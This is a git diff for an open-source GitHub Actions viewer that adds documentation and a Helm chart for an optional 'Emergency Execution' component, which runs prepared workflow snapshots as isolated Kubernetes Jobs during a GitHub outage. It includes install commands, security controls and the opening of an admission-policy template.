diff --git a/.gitignore b/.gitignore index 8cf114b..ac2e7e2 100644 --- a/.gitignore +++ b/.gitignore @@ -8,6 +8,9 @@ docs/proposals/ node_modules/ dist/ dist-fixtures/ +# Except bundled JavaScript actions in the examples, which ship their dist/ as real actions do +# (the emergency demo's stamp action; docs/EMERGENCY_EXECUTION.md §6). +!examples/**/dist/ # Fixtures fetched by tools/fixtures/fetch (pinned in fixtures.lock.json) .fixtures/ diff --git a/README.md b/README.md index 2a1313b..fc92ecb 100644 --- a/README.md +++ b/README.md @@ -1,15 +1,20 @@ # GitHub Actions UI -**A clearer way to see your GitHub Actions workflow runs: how a release moved through its environments, which job failed and why, and the exact log line that explains it.** +**A clearer way to see your GitHub Actions workflow runs: how a release moved through its environments, which job failed and why, and the exact log line that explains it. Plus an optional way to run prepared workflows on your own Kubernetes cluster when GitHub Actions is down.** [![CI](https://github.com/GauJosh/github-actions-ui/actions/workflows/ci.yml/badge.svg)](https://github.com/GauJosh/github-actions-ui/actions/workflows/ci.yml) [![E2E](https://github.com/GauJosh/github-actions-ui/actions/workflows/e2e.yml/badge.svg)](https://github.com/GauJosh/github-actions-ui/actions/workflows/e2e.yml) [![License: Apache-2.0](https://img.shields.io/badge/license-Apache--2.0-blue.svg)](LICENSE) ![Node.js 22+](https://img.shields.io/badge/node-%E2%89%A522.12-339933?logo=node.js&logoColor=white) ![Read-only](https://img.shields.io/badge/GitHub%20access-read--only-2ea44f) -![No backend](https://img.shields.io/badge/backend-none-lightgrey) +![Investigation views: no backend](https://img.shields.io/badge/investigation%20views-no%20backend-lightgrey) -GitHub Actions UI is an open-source viewer and dashboard for **GitHub Actions** workflow runs, pipelines and logs. It runs entirely in your browser and reads data from GitHub's REST API. It never changes anything, and there is no server, database or telemetry. +GitHub Actions UI is an open-source viewer and dashboard for **GitHub Actions** workflow runs, pipelines and logs. It has two parts: + +- **The investigation views**, the main app. They run entirely in your browser and read data from GitHub's REST API, read-only. They never change anything, and they need no server, database or telemetry. +- **[Emergency Execution](#emergency-execution)**, an optional component you install on your own Kubernetes cluster. It runs prepared workflows when GitHub Actions is unavailable. It is implemented and tested locally, and **not yet deployed as a production service** (see [Project status](#project-status)). + +It is a companion to GitHub Actions, not a replacement. GitHub stays the source of truth, and nothing is written back to it. ![Release overview of a 79-job pipeline: CI, Dev, Test, Stage and Prod, with the failed Stage deployment and its rollback](docs/images/release-overview.png) @@ -29,7 +34,15 @@ GitHub's own Actions page is fine for a five-job CI run. It gets hard to use whe This tool answers those questions from the data GitHub already has. GitHub remains the source of truth. -## What it does +And when GitHub Actions itself is down, an urgent fix or release can be stuck until it recovers. Emergency Execution is for that case: workflows you prepared in advance can still run on infrastructure you control. + +**Who it's for:** +- **Investigation views:** anyone who maintains or debugs GitHub Actions workflows, from a small open-source project to an organisation's release pipelines. +- **Emergency Execution:** platform and release engineers who run Kubernetes, and who want a fallback for a few important workflows during an outage. + +## Key features + +**Investigation views** (read-only, in your browser): | | | |---|---| @@ -44,6 +57,15 @@ This tool answers those questions from the data GitHub already has. GitHub remai | **Failure impact** | For each failure: what it needed, which jobs did not run because of it, and which ran anyway. Jobs skipped by their own conditions are kept apart. | | **Compare runs** | This run against a previous success or another attempt: jobs that changed outcome, renamed or added jobs, slower jobs, commits, workflow-file and dependency changes, and a log diff for any job. | | **Search** | One field across job and step names, workflow source, failures and the logs of the jobs you choose, saying exactly how much of each log was searched. | +| **Repository dashboard and history** | Find any repository your token can see, then filter its runs by status, branch, event or workflow. Pipeline history and performance insights across runs, release, deployment and artifact evidence for a run, and shareable investigation reports. | + +**Kubernetes deployment:** two Helm charts: +- [`charts/gha-ui`](charts/gha-ui/README.md) serves the investigation views, unchanged: they still call GitHub from the browser. +- [`charts/gha-emergency`](charts/gha-emergency/README.md) installs Emergency Execution. + +See [Deploy on Kubernetes](#deploy-on-kubernetes). + +**[Emergency Execution](#emergency-execution)** (optional): prepare immutable snapshots of important workflows while GitHub is available, and run them as Kubernetes Jobs, with no access to GitHub, if GitHub Actions becomes unavailable.
More screenshots @@ -62,6 +84,123 @@ This tool answers those questions from the data GitHub already has. GitHub remai
+## Emergency Execution + +**The problem.** During a GitHub Actions outage you can't run workflows: no runners, no actions downloads, no API. If a security fix or a release has to go out, the pipeline that normally does it is unavailable. + +**The idea.** Prepare in advance, while GitHub works; run later, when it doesn't. The two phases never overlap: preparation is the only part that talks to GitHub. + +```mermaid +flowchart LR + subgraph before["① While GitHub is available"] + direction TB + A["Choose a repository, a branch, tag or commit,
and the workflows to prepare"] --> B["The browser resolves and packages
everything they use into a snapshot"] + B --> C["The executor validates the snapshot
and stores it, write-once"] + end + subgraph during["② During a GitHub Actions outage"] + direction TB + D["An authorized operator starts
the prepared workflow"] --> E["A Kubernetes Job runs it
from the snapshot, with no access to GitHub"] + E --> F["Status, logs and results
in the UI"] + end + C -. "stored in your cluster" .-> D +``` + +**Step by step:** +1. **Select.** While GitHub is available, sign in to the emergency view, choose a repository, a branch, tag or commit, and the workflows to prepare. The ref is pinned to an exact commit. +2. **Package.** The browser, using your read-only GitHub token, resolves what those workflows depend on, and packages it into a **snapshot**: one immutable bundle, identified by the SHA-256 digest of its manifest, in which every file is pinned by hash. That covers reusable workflows, local and external actions (at pinned commits), composite and JavaScript actions, and the scripts they run. Anything that can't run without GitHub is reported as an error, and a snapshot with errors can't be run. +3. **Store.** The snapshot is uploaded to the **executor**, a service in your cluster. The executor validates it again, independently, and stores it read-only on its own volume. Secret values are never part of a snapshot: it records only which secrets the workflows need. +4. **Run.** If GitHub Actions becomes unavailable, an operator signed in to the executor starts the prepared workflow, with its declared inputs. Sensitive executions wait for a second person's approval. +5. **Execute.** A Kubernetes Job (the **runner**) mounts the snapshot read-only and runs the jobs and steps in dependency order. Actions and scripts come from the snapshot: nothing is downloaded from GitHub, and the runner has no GitHub token. +6. **Review.** The UI shows the execution's status, jobs and steps with exit codes, logs, outputs and the final result. Nothing is reported back to GitHub; reconcile by hand once it recovers. + +The full design, and the steps to run it, are in [`docs/EMERGENCY_EXECUTION.md`](docs/EMERGENCY_EXECUTION.md). + +### What you need + +- A Kubernetes cluster, version **1.30 or later**, that you control. For isolated executions, its network plugin must **enforce NetworkPolicy**, for example Calico or Cilium; the executor checks this itself. +- The executor and runner images, built from [`deploy/emergency/Dockerfile`](deploy/emergency/Dockerfile) and available on your nodes, or in a registry that doesn't depend on GitHub. +- For sign-in, an **OpenID Connect identity provider** that doesn't depend on GitHub (it has to work during the outage), or break-glass accounts. +- Snapshots prepared **before** the outage. Preparation needs GitHub and a read-only token, so it can't happen during one. + +### Security + +Emergency Execution runs code, so it is built to limit what anyone, including the workflows themselves, can do. It is **not** certified for production, and known findings are still open (below). + +- **Sign-in and roles.** Each person signs in with your organisation's OpenID Connect provider, and the executor keeps their session. Roles decide what they can do: + - **viewer:** see snapshots, executions and logs; + - **operator:** prepare snapshots and start executions; + - **approver:** approve sensitive executions; + - **administrator:** manage users' roles and sessions, suspend Secret bindings, read the audit log. + + Roles are assigned in the executor, never taken from the sign-in token, and nobody can change their own. Optional break-glass accounts cover an identity-provider outage. Every sign-in, refusal and action is recorded in an audit log, with who did it. +- **Snapshot integrity.** A snapshot's identity is its content's digest, so it can't change without becoming a different snapshot. The executor re-validates every upload itself, rather than trusting the browser's analysis. Stored files are re-verified before each execution, and again inside the runner. +- **Approval.** Executions that receive a Secret, or that have network access, wait for an approver by default. The approval covers exactly what will run, so any change to it voids the approval. By default, the approver can't be the person who started the execution or prepared the snapshot. +- **Job isolation.** Each execution is a Kubernetes Job: + - no Kubernetes credentials; + - not root, read-only root filesystem, no added capabilities; + - limited CPU, memory, disk and time. + + An admission policy in the Kubernetes API server rejects any Job in the emergency namespace that doesn't match that shape, whoever creates it. The executor checks that the policy is actually enforced before running anything. +- **Network isolation.** Executions are isolated by default: a NetworkPolicy denies all traffic in and out. Before isolated runs, the executor proves the policy works with a test pod, and refuses to run if it doesn't. +- **Secrets.** Secret values are never packaged into snapshots. They live in a Kubernetes Secret, which a cluster administrator binds to an exact snapshot digest. Only the keys that snapshot needs are mounted, at execution time, and their values are masked in the logs. +- **No GitHub token.** Your GitHub token stays in your browser and is used only to read while preparing. The executor and the runner never receive it. +- **Trustworthy results.** The runner signs every event it reports, with a key that exists only in its own memory, out of reach of the workflow's processes. A result that was forged or tampered with is reported as an error, never as success. + +What was found, fixed and is still open: [`docs/EMERGENCY_EXECUTION_SECURITY_REVIEW.md`](docs/EMERGENCY_EXECUTION_SECURITY_REVIEW.md). The medium findings M1–M7 are still open. Two examples: output from one step can be interpolated into a later step's script, and secret masking only catches exact matches. + +### Compatibility and limitations + +This is **not** a GitHub Actions runner, and it does not run every workflow. It runs a documented subset. Anything outside it is refused when the snapshot is validated, so you find out while preparing, not during the outage. + +**Supported:** +- `workflow_dispatch` and `workflow_call` inputs; runs are started by hand. +- Jobs with `needs`, and `if:` with the status functions. +- Job and step outputs, `env`, `GITHUB_ENV` and `GITHUB_PATH`. +- Reusable workflows, local or external, nested. +- Composite actions, and JavaScript actions with their dependencies bundled (they run on Node 22). +- `actions/checkout` of the snapshot's own repository (it is replaced by the packaged files). +- `run:` steps in bash, sh or Python. +- Secrets from a Kubernetes Secret, `vars.*`, and step and job timeouts. +- An expression subset. + +**Refused**, among others: +- matrix strategies; +- Docker and container actions, `container:` and service containers; +- artifacts and caches; +- `setup-*` actions, which download toolchains; +- `GITHUB_TOKEN`, OIDC tokens and `github.event` payloads; +- PowerShell and cmd; +- `hashFiles`. + +**Behaves differently:** +- Jobs run **one at a time**, in dependency order, each with a fresh copy of the workspace. +- Triggers, `runs-on`, environments and their protection rules, `permissions:` and `concurrency:` are ignored, with a warning. +- Everything runs in one generic runner image: Node 22, bash, sh and Python 3 (standard library only). Package installs fail in isolated mode, so dependencies must be in the repository. +- Steps that call GitHub (its API, `gh`, `git clone/fetch/push`) can't work. + +The full table is in [Compatibility](docs/EMERGENCY_EXECUTION.md#6-github-actions-compatibility), and other gaps in [Known gaps](docs/EMERGENCY_EXECUTION.md#9-known-gaps). Two that matter: +- Snapshots are stored on one volume attached to the executor's node. +- Results are not reported back to GitHub. + +### Project status + +Emergency Execution is **implemented and tested, but not deployed as a production service**, and it has **never been used during a real GitHub outage**. + +- **Automated and local testing** (2026-11-02): + - unit and browser tests, with the browser tests using a mocked executor; + - the runner image checked in containers, including a hostile workflow that tries to forge its results; + - the Kubernetes admission policy checked against throwaway API servers (Kubernetes 1.30 and 1.35), with 51 malicious Job specifications. +- **Live cluster runs** (local minikube, 2026-10-30), with GitHub blocked from the Job to simulate the outage: + - the first version ran a demo pipeline end to end, from the UI to a Kubernetes Job; + - Secret isolation and network isolation were then validated on a separate profile running Calico. +- **Not live-tested yet:** + - the current version, with sign-in, approvals, admission enforcement and signed results, has not been deployed to any cluster; + - sign-in has been tested only against a development identity provider, not a real one; + - the custom ID-token verification code still needs a focused security review; + - a full preparation of a real repository has not been done (the demo uses built-in sample data). + +The remaining work is tracked in [`docs/ROADMAP.md`](docs/ROADMAP.md). + ## Quick start You need **Git** and **Node.js 22.18 or later** (LTS recommended). The steps are the same on every platform once Node is installed. @@ -166,24 +305,62 @@ Every view, job, step and log line has its own URL, so you can paste a link to t Phases are inferred from `environment:` in your workflows. To name them yourself, or to group CI jobs, add `.github/actions-ui-phases.yml` to your repository. This is a convention of this app, not a GitHub feature. See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the format. +## Deploy on Kubernetes + +The two charts are independent, and no image is published to a registry: you build them from this repository. Both charts have been installed on minikube (Kubernetes 1.35, CRI-O, Podman). For Emergency Execution, that was an earlier version; see [Project status](#project-status). + +**Investigation views** ([`charts/gha-ui`](charts/gha-ui/README.md)): a static server for the production build. It needs Kubernetes 1.25 or later and Helm 3. Build and load the image as the chart's README describes, then: + +```sh +kubectl create namespace gha-ui +kubectl label namespace gha-ui pod-security.kubernetes.io/enforce=restricted +helm install gha-ui charts/gha-ui --namespace gha-ui --wait +``` + +**Emergency Execution** ([`charts/gha-emergency`](charts/gha-emergency/README.md)) has more prerequisites: +- Kubernetes 1.30 or later, and a network plugin that enforces NetworkPolicy. +- A **dedicated** namespace that enforces Pod Security `restricted`. The chart refuses to install into any other. +- Permission to create cluster-scoped admission policies. +- The two images (the `executor` and `runner` targets of [`deploy/emergency/Dockerfile`](deploy/emergency/Dockerfile)). The runner is referenced by its **digest**. +- A sign-in method: your OpenID Connect provider (`auth.oidc`, with your first administrator in `auth.initialAdministrators`) and/or break-glass accounts. + +The outline: + +```sh +kubectl create namespace gha-emergency +kubectl label namespace gha-emergency pod-security.kubernetes.io/enforce=restricted gha-emergency.github-actions-ui/dedicated=true +helm install gha-emergency charts/gha-emergency -n gha-emergency \ + --set executor.image.tag= --set runner.image.digest=sha256: \ + --set auth.oidc.issuer= --set auth.oidc.clientId= \ + --set auth.oidc.redirectUri=https:///api/emergency/auth/callback \ + --set "auth.initialAdministrators[0].issuer=" --set "auth.initialAdministrators[0].subject=" +``` + +Secrets for snapshots are created and bound to snapshot digests after preparation, with `secretBindings`. The full tested sequence is in [Run the MVP locally](docs/EMERGENCY_EXECUTION.md#10-run-the-mvp-locally-windows-with-podman-and-minikube-as-tested): building and loading the images, finding the runner's digest, break-glass accounts for a cluster without an identity provider, binding a Secret, and migrating from the old shared operator token. + ## Security and privacy -- **Read-only by construction.** Every request goes through one transport that allows only `GET` and `HEAD`, and only to `api.github.com`; log downloads follow GitHub's own redirect to its log storage. There is no code to re-run, cancel or approve anything. +These points are about the investigation views. Emergency Execution's protections are described [above](#security). + +- **Read-only by construction.** Every request goes through one transport that allows only `GET` and `HEAD`, and only to `api.github.com`; log downloads follow GitHub's own redirect to its log storage. There is no code to re-run, cancel or approve anything on GitHub. - **Your token stays in memory.** It is not written to local storage, cookies or URLs, and it is sent only to the GitHub API. -- **Nothing leaves your machine except requests to GitHub.** There is no backend, analytics or telemetry. +- **Nothing leaves your machine except requests to GitHub.** There is no backend, analytics or telemetry. (Emergency Execution, if you install it, adds its own executor service in your cluster. Your GitHub token is never sent to it.) - **Log parsing is isolated** in a Web Worker with no network access. A strict Content Security Policy applies in production builds. - **Secrets stay hidden.** Workflow inputs that reference secrets or look like credentials are redacted in the source view. ## FAQ -**Is this a replacement for GitHub's Actions tab?** -No. It is a companion for understanding and troubleshooting runs; every view links back to GitHub. +**Is this a replacement for GitHub's Actions tab, or for GitHub Actions?** +No. The investigation views are a companion for understanding and troubleshooting runs, and every view links back to GitHub. Emergency Execution is a fallback for a few prepared workflows during an outage. It runs a subset of GitHub Actions features and reports nothing back to GitHub. **Does it work with GitHub Enterprise Server?** Not yet. It currently talks to `api.github.com` only. **Does it need a server or a GitHub App?** -No. It is a static web app. Run it locally, or host the `dist/` folder on any static web server. +The investigation views don't: they are a static web app. Run it locally, host the `dist/` folder on any static web server, or use the `gha-ui` chart. No GitHub App is needed. Emergency Execution is the exception: it needs its executor service and a Kubernetes cluster. + +**Can I try Emergency Execution without a cluster?** +Not fully. The emergency view needs a running executor; without one, it says so. The repository includes a demo pipeline (`examples/emergency-demo`), which demo mode serves as a simulated GitHub repository. [Run the MVP locally](docs/EMERGENCY_EXECUTION.md#10-run-the-mvp-locally-windows-with-podman-and-minikube-as-tested) runs it on minikube. **Why does it ask for Contents: Read?** To read your workflow files at the commit each run used. That is where the real job dependencies come from. @@ -209,7 +386,16 @@ The app says the log has expired. It never fills the gap with guessed or sample **About "integrity".** The log viewer checks that a download is *complete*: byte counts match and no ranges are missing. GitHub publishes no checksum for logs, so log content cannot be cryptographically verified by the client. -Design notes and decisions are in [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md), and planned work is in [`docs/ROADMAP.md`](docs/ROADMAP.md). Issues and pull requests are welcome. +**Emergency Execution checks** that need more than `npm test` (container and cluster runs) are listed in [Run the MVP locally](docs/EMERGENCY_EXECUTION.md#10-run-the-mvp-locally-windows-with-podman-and-minikube-as-tested). They include the runner check, the runner attack check and the admission-policy check (`tools/emergency/`). + +**Documentation:** +- [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md): design notes and decisions. +- [`docs/ROADMAP.md`](docs/ROADMAP.md): planned work and status. +- [`docs/EMERGENCY_EXECUTION.md`](docs/EMERGENCY_EXECUTION.md): Emergency Execution's design, compatibility, security model and run steps. +- [`docs/EMERGENCY_EXECUTION_SECURITY_REVIEW.md`](docs/EMERGENCY_EXECUTION_SECURITY_REVIEW.md): its security review and remediation log. +- [`charts/gha-ui`](charts/gha-ui/README.md) and [`charts/gha-emergency`](charts/gha-emergency/README.md): the Helm charts. + +Issues and pull requests are welcome. ## License @@ -217,4 +403,4 @@ Design notes and decisions are in [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) --- -Keywords: GitHub Actions UI, GitHub Actions dashboard, GitHub Actions workflow visualizer, CI/CD pipeline viewer, GitHub Actions log viewer, reusable workflow graph, deployment environments, workflow run timeline. +Keywords: GitHub Actions UI, GitHub Actions dashboard, GitHub Actions workflow visualizer, CI/CD pipeline viewer, GitHub Actions log viewer, reusable workflow graph, deployment environments, workflow run timeline, GitHub Actions outage, emergency workflow execution, Kubernetes Jobs. diff --git a/charts/gha-emergency/Chart.yaml b/charts/gha-emergency/Chart.yaml new file mode 100644 index 0000000..103184c --- /dev/null +++ b/charts/gha-emergency/Chart.yaml @@ -0,0 +1,13 @@ +apiVersion: v2 +name: gha-emergency +description: Emergency execution for GitHub Actions UI - runs prepared, immutable workflow snapshots as Kubernetes Jobs when GitHub Actions is unavailable. Separate from the read-only gha-ui chart. +type: application +version: 0.1.0 +appVersion: "0.0.0" +kubeVersion: ">=1.30.0-0" +home: https://github.com/GauJosh/github-actions-ui +sources: + - https://github.com/GauJosh/github-actions-ui +keywords: + - github-actions + - disaster-recovery diff --git a/charts/gha-emergency/README.md b/charts/gha-emergency/README.md new file mode 100644 index 0000000..35371d5 --- /dev/null +++ b/charts/gha-emergency/README.md @@ -0,0 +1,32 @@ +# gha-emergency chart + +Emergency execution for GitHub Actions UI. It installs: +- an executor, which serves the UI and the emergency API and stores snapshots; +- the Role and service accounts its runner Jobs need. + +It is separate from the read-only `gha-ui` chart, and optional. + +Design, security model, supported features and run steps: `docs/EMERGENCY_EXECUTION.md`. + +**Key values:** +- `executor.image` and `runner.image`: images built from `deploy/emergency/Dockerfile`. They must be available on the nodes, or in a registry reachable during a GitHub outage (not `ghcr.io`). + - `runner.image.digest` is required (`sha256:…`, as the nodes' runtime knows the image). Runner Jobs use `repository@digest`, and the admission policy admits no other image (security review H4). +- **Admission policy** (always installed, security review H4): a ValidatingAdmissionPolicy and binding pin every Job in the namespace, and every pod a Job creates, to the runner's image, command, service account, security context, resources, volumes, environment and network labels. The executor proves the API server enforces it before each execution. + - Needs Kubernetes 1.30 or later. + - Both objects are cluster-scoped, so installing needs permission to create them. + - Nothing else can create Jobs in the namespace, and a mutating webhook that injects sidecars or volumes into its pods (a service mesh, for example) makes them fail; exclude the namespace from such webhooks. +- `runner.resources`, `runner.maxMinutes`, `runner.maxConcurrent`, `runner.ttlSecondsAfterFinished`. +- `persistence.size` and `persistence.storageClassName`: snapshot storage. It is ReadWriteOnce, so runner pods are scheduled on the executor's node. +- `auth` (security review H2): sign-in with an OpenID Connect provider (`auth.oidc`), session lifetimes, the first administrators (`auth.initialAdministrators`, by issuer and subject), and break-glass accounts for provider outages (`auth.breakGlass.accounts`). The chart refuses to install without one sign-in method. The shared operator token no longer authorizes the API. +- `approval`: which executions wait for an approver (default: those that receive a Secret, or run in egress mode), separation of duties, and how long a request or approval lasts. +- `operatorToken.existingSecret`: the break-glass credentials Secret (one key per account; generated when empty). +- The executor contacts the identity provider over HTTPS on port 443, which its NetworkPolicy already allows; the provider must not depend on GitHub. +- `secretBindings`: which Secret, and which keys, executions of exact snapshot digests may receive (security review C1). Nothing is mounted without one. +- `network`: NetworkPolicies are always installed. Isolated executions run only after the executor's canary proves that the cluster enforces them (security review C2). + - Use a network plugin that enforces NetworkPolicy (Calico, Cilium). + - `allowEgressMode` enables a non-isolated egress mode. +- `clusterChecks`: install and upgrade fail unless the namespace is dedicated (labelled `gha-emergency.github-actions-ui/dedicated=true`) and restricted, holds no unrelated Secrets, and every bound Secret exists, is Opaque and holds its keys. + +**Install** into a dedicated namespace that enforces Pod Security `restricted`. The executor, runner and canary pods comply. + +Install with no Secrets in the namespace. Once a snapshot is prepared, create its Secret and bind it to the snapshot's digest in the same sitting: the chart refuses any Secret that isn't bound. diff --git a/charts/gha-emergency/templates/NOTES.txt b/charts/gha-emergency/templates/NOTES.txt new file mode 100644 index 0000000..348418f --- /dev/null +++ b/charts/gha-emergency/templates/NOTES.txt @@ -0,0 +1,31 @@ +Emergency execution is installed in namespace {{ .Release.Namespace }}. + +1. Open the UI (it is not exposed outside the cluster): + + kubectl -n {{ .Release.Namespace }} port-forward svc/{{ include "gha-emergency.fullname" . }} 18093:{{ .Values.service.port }} + + then http://127.0.0.1:18093/#/emergency + +2. Sign in (security review H2): +{{- if .Values.auth.oidc.issuer }} + with {{ default .Values.auth.oidc.issuer .Values.auth.oidc.label }}. New users have no roles until an administrator + gives them some on the emergency view's Administration page.{{ if not .Values.auth.initialAdministrators }} No initial + administrator is configured (auth.initialAdministrators): nobody can assign roles yet.{{ end }} +{{- end }} +{{- range .Values.auth.breakGlass.accounts }} + Break-glass account {{ .name }} ({{ join ", " .roles }}), for when the identity provider is unavailable; its credential: + kubectl -n {{ $.Release.Namespace }} get secret {{ include "gha-emergency.tokenSecret" $ }} -o jsonpath='{.data.{{ .name }}}' | base64 -d +{{- end }} + The old shared operator token no longer authorizes API calls. + +3. Secrets a snapshot needs are supplied as a Kubernetes Secret in this namespace, one key per secret name, e.g. + + kubectl -n {{ .Release.Namespace }} create secret generic demo-secrets --from-literal=DEMO_SIGNING_KEY=... + + and bound to exact snapshot digests with the secretBindings value. Create it just before the upgrade that binds it: + the chart refuses Secrets that aren't bound, and a digest exists only once a snapshot is prepared. + Only the keys a snapshot requires are mounted, and only into its runner pod; the executor never reads it. + +4. Isolated executions run only when the executor's network canary proves that NetworkPolicy is enforced. Check: + + the "Network" section of a snapshot's page, or GET api/emergency/network-check diff --git a/charts/gha-emergency/templates/_helpers.tpl b/charts/gha-emergency/templates/_helpers.tpl new file mode 100644 index 0000000..b5cbf3f --- /dev/null +++ b/charts/gha-emergency/templates/_helpers.tpl @@ -0,0 +1,44 @@ +{{- define "gha-emergency.fullname" -}} +{{- if contains .Chart.Name .Release.Name }} +{{- .Release.Name | trunc 50 | trimSuffix "-" }} +{{- else }} +{{- printf "%s-%s" .Release.Name .Chart.Name | trunc 50 | trimSuffix "-" }} +{{- end }} +{{- end }} + +{{/* Labels of the executor pod. Runner Jobs use them for pod affinity (deploy/emergency/executor/job-spec.ts). */}} +{{- define "gha-emergency.executorSelector" -}} +app.kubernetes.io/name: gha-emergency +app.kubernetes.io/instance: {{ .Release.Name }} +app.kubernetes.io/component: executor +{{- end }} + +{{- define "gha-emergency.labels" -}} +helm.sh/chart: {{ printf "%s-%s" .Chart.Name .Chart.Version }} +app.kubernetes.io/part-of: github-actions-ui +app.kubernetes.io/managed-by: {{ .Release.Service }} +app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} +{{- end }} + +{{- define "gha-emergency.tokenSecret" -}} +{{- default (printf "%s-operator" (include "gha-emergency.fullname" .)) .Values.operatorToken.existingSecret }} +{{- end }} + +{{/* The runner image by digest (security review H4): the only image runner Jobs may use. */}} +{{- define "gha-emergency.runnerImage" -}} +{{- $digest := toString .Values.runner.image.digest }} +{{- if not (regexMatch "^sha256:[0-9a-f]{64}$" $digest) }} +{{- fail "runner.image.digest must be the runner image's digest (sha256:<64 hex digits>): runner Jobs are pinned to it (security review H4)" }} +{{- end }} +{{- printf "%s@%s" .Values.runner.image.repository $digest }} +{{- end }} + +{{/* The cluster-scoped admission policy and binding, named after the release and its namespace (security review H4). */}} +{{- define "gha-emergency.admissionPolicy" -}} +{{- printf "%s-runner-jobs.%s" (include "gha-emergency.fullname" .) .Release.Namespace }} +{{- end }} + +{{/* Network mode label of runner pods (job-spec.ts NETWORK_LABEL), selected by networkpolicy.yaml. */}} +{{- define "gha-emergency.networkLabel" -}} +gha-emergency.github-actions-ui/network +{{- end }} diff --git a/charts/gha-emergency/templates/admission-policy.yaml b/charts/gha-emergency/templates/admission-policy.yaml new file mode 100644 index 0000000..3f77580 --- /dev/null +++ b/charts/gha-emergency/templates/admission-policy.yaml @@ -0,0 +1,246 @@ +{{- /* +Security review H4. The executor may create Jobs (rbac.yaml), and RBAC can't constrain what a Job runs. This +ValidatingAdmissionPolicy does, in the API server, whatever the executor sends: every Job in the release namespace, +and every Pod a Job creates there (after mutating admission, so injected sidecars are refused too), must be one of +the shapes deploy/emergency/executor/job-spec.ts builds: +- an execution (the runner command), or a network canary (the canary command); +- the runner image by digest, IfNotPresent, one container, no init or ephemeral containers; +- the runner service account, no token, no host namespaces, non-root, RuntimeDefault seccomp, no privilege + escalation, read-only root filesystem, all capabilities dropped; +- bounded resources, one attempt, a deadline; +- only the snapshot (read-only), size-limited emptyDirs, and Secret keys the bindings give that exact snapshot; +- no Secret or ConfigMap environment references; the runner's NetworkPolicy labels. +Jobs are also refused in a namespace that isn't dedicated and Pod Security "restricted". The executor proves the +policy is enforced before any execution (deploy/emergency/executor/admission-check.ts). Needs Kubernetes 1.30+. +*/ -}} +{{- $policy := include "gha-emergency.admissionPolicy" . }} +{{- $full := include "gha-emergency.fullname" . }} +{{- $ns := .Release.Namespace }} +{{- $image := include "gha-emergency.runnerImage" . }} +{{- $deadline := add (mul (int .Values.runner.maxMinutes) 60) 120 }} +{{- $modes := list "isolated" }} +{{- if .Values.network.allowEgressMode }}{{ $modes = append $modes "egress" }}{{ end }} +{{- /* "snapshots/::": each key a binding gives each snapshot (bindings.yaml validates them). */}} +{{- $grants := list }} +{{- range $b := .Values.secretBindings }}{{ range $d := $b.snapshots }}{{ range $k := $b.keys }}{{ $grants = append $grants (printf "snapshots/%s:%s:%s" $d $b.secret $k) }}{{ end }}{{ end }}{{ end }} +{{- /* Must match job-spec.ts (RUNNER_NODE, buildJob and buildCanaryJob); tools/emergency/admission-check.ts tests both. */}} +{{- $execCommand := list "/usr/local/libexec/gha-emergency-runner-node" "--disable-sigusr1" "--disable-warning=ExperimentalWarning" "/app/deploy/emergency/runner/main.ts" }} +{{- $canaryCommand := list "node" "--disable-warning=ExperimentalWarning" "/app/deploy/emergency/runner/canary.ts" }} +{{- $execEnv := list "GHA_EMERGENCY_EXECUTION" "GHA_EMERGENCY_SNAPSHOT_DIR" "GHA_EMERGENCY_WORK_DIR" "GHA_EMERGENCY_SECRETS_DIR" "GHA_EMERGENCY_MAX_MINUTES" "GHA_EMERGENCY_NETWORK_PROBE" }} +{{- $canaryEnv := list "GHA_EMERGENCY_CANARY_TARGETS" }} +apiVersion: admissionregistration.k8s.io/v1 +kind: ValidatingAdmissionPolicy +metadata: + name: {{ $policy }} + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +spec: + # A request the policy can't evaluate is refused. + failurePolicy: Fail + matchConstraints: + namespaceSelector: + matchLabels: + kubernetes.io/metadata.name: {{ $ns }} + resourceRules: + - apiGroups: ["batch"] + apiVersions: ["v1"] + operations: ["CREATE", "UPDATE"] + resources: ["jobs"] + - apiGroups: [""] + apiVersions: ["v1"] + operations: ["CREATE"] + resources: ["pods"] + matchConditions: + # Pods: those a Job owns. The executor's own pod comes from its ReplicaSet; nothing in the namespace may create + # pods directly except cluster administrators. + - name: jobs-and-their-pods + expression: >- + request.resource.resource == 'jobs' || + (has(object.metadata.ownerReferences) && object.metadata.ownerReferences.exists(r, r.kind == 'Job' && r.apiVersion.startsWith('batch/'))) + # Updates: only those that change the spec (metadata-only updates, e.g. finalizers during deletion, pass). + - name: spec-changes + expression: "request.operation == 'CREATE' || object.spec != oldObject.spec" + variables: + - name: isJob + expression: "request.resource.resource == 'jobs'" + - name: pod + expression: "variables.isJob ? object.spec.template.spec : object.spec" + - name: labels + expression: >- + variables.isJob + ? (has(object.spec.template.metadata) && has(object.spec.template.metadata.labels) ? object.spec.template.metadata.labels : {}) + : (has(object.metadata.labels) ? object.metadata.labels : {}) + - name: c + expression: "variables.pod.containers[0]" + - name: isExecution + expression: >- + has(variables.c.command) && variables.c.command == {{ toJson $execCommand }} + - name: isCanary + expression: >- + has(variables.c.command) && variables.c.command == {{ toJson $canaryCommand }} + - name: runnerLabelled + expression: >- + 'app.kubernetes.io/name' in variables.labels && variables.labels['app.kubernetes.io/name'] == 'gha-emergency-runner' && + 'app.kubernetes.io/managed-by' in variables.labels && variables.labels['app.kubernetes.io/managed-by'] == 'gha-emergency-executor' + - name: volumes + expression: "has(variables.pod.volumes) ? variables.pod.volumes : []" + - name: mounts + expression: "has(variables.c.volumeMounts) ? variables.c.volumeMounts : []" + - name: env + expression: "has(variables.c.env) ? variables.c.env : []" + # The snapshot directory the pod mounts ("snapshots/"), or "" when it mounts none. + - name: snapshotPath + expression: >- + variables.mounts.exists(m, m.name == 'snapshot' && has(m.subPath)) + ? variables.mounts.filter(m, m.name == 'snapshot' && has(m.subPath))[0].subPath : '' + - name: grants + expression: {{ toJson $grants | quote }} + # Job-level limits (true for Pods). A variable is evaluated only when used, so Pods never read Job-only fields. + - name: jobLimits + expression: >- + !variables.isJob || ( + has(object.spec.backoffLimit) && object.spec.backoffLimit == 0 && + (!has(object.spec.parallelism) || object.spec.parallelism <= 1) && + (!has(object.spec.completions) || object.spec.completions <= 1) && + !(has(object.spec.manualSelector) && object.spec.manualSelector) && + has(object.spec.activeDeadlineSeconds) && object.spec.activeDeadlineSeconds <= {{ $deadline }}) 